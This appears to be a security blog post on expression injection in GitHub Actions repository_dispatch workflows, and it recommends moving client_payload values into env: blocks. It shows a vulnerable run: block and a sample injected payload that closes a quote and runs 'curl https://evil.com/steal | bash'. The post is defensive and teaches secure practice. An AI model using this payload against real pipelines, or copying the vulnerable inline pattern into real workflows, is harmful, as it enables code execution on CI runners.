Expression injection in GitHub Actions repository_dispatch — and the one-line fix
I was hardening a cross-repo deploy pipeline built on repository_dispatch when I found a textbook expression injection sitting in plain sight. The trigger workflow accepted a client_payload JSON object from the caller and dropped its fields straight into a run: block.
How repository_dispatch works
When you call the repository_dispatch API, you send a JSON body with an event_type and an optional client_payload — an arbitrary JSON object the caller defines. Your workflow reads it via github.event.client_payload.*.
The critical detail: client_payload is attacker-controlled input. Anyone with the dispatch token can craft whatever payload they want. And that token requires contents:write, which means anyone who has it already has more access than they should (I wrote about that here).
The vulnerability
GitHub Actions evaluates ${{ }} expressions at YAML parse time — before bash ever sees the run: block. The engine does a literal string substitution into the shell script. No escaping. No quoting. Just raw interpolation.
So when you write:
- name: Parse trigger context
run: |
echo "source_repo=${{ github.event.client_payload.source_repo }}" >> "$GITHUB_OUTPUT"
echo "short_sha=${{ github.event.client_payload.short_sha }}" >> "$GITHUB_OUTPUT"
And someone dispatches a payload like:
{
"source_repo": "\"; curl https://evil.com/steal | bash #",
"short_sha": "abc1234"
}
The run: block that bash actually executes becomes:
echo "source_repo="; curl https://evil.com/steal | bash #" >> "$GITHUB_OUTPUT"
The double-quote closes the echo, the semicolon starts a new command, and the # comments out the rest. Arbitrary code execution in your CI runner. This is CWE-78 — OS command injection via expression injection.
The fix
Move every client_payload value into an env: block:
- name: Parse trigger context
env:
CP_SOURCE_REPO: ${{ github.event.client_payload.source_repo }}
CP_SHORT_SHA: ${{ github.event.client_payload.short_sha }}
CP_BRANCH: ${{ github.event.client_payload.branch }}
run: |
echo "source_repo=$CP_SOURCE_REPO" >> "$GITHUB_OUTPUT"
echo "short_sha=$CP_SHORT_SHA" >> "$GITHUB_OUTPUT"
That’s it.
Why env: works
The ${{ }} expression still evaluates at parse time — that doesn’t change. But now it writes the value into an environment variable, not into the shell script source. When bash runs, it sees $CP_SOURCE_REPO, which is a variable reference. Bash reads the variable’s value as data. It never parses it as code. The malicious payload becomes a harmless string sitting in an environment variable that gets echoed verbatim.
The distinction: inline ${{ }} in run: means “paste this string into the script.” ${{ }} in env: means “set this string as a variable that the script can read.” Same expression engine, completely different security boundary.
This is not specific to repository_dispatch
Every untrusted GitHub Actions context value has this problem:
github.event.pull_request.titlegithub.event.pull_request.bodygithub.event.issue.bodygithub.event.comment.bodygithub.event.client_payload.*github.event.inputs.*(workflow_dispatch)
The rule is simple: never put ${{ }} expressions inline in run: blocks when the value originates from outside your repository. Always go through env:.
Two problems, same API surface
The dispatch token that triggers your deploy workflow can also inject code into it. And because that token requires contents:write, the same token can push code to your repo directly. Expression injection and overprivileged tokens are two separate vulnerabilities sharing the same API surface. I covered the permissions side in the companion post.
If you’re doing cross-repo CI/CD with repository_dispatch, audit both: what the token can do, and what the payload can do to the workflow that receives it.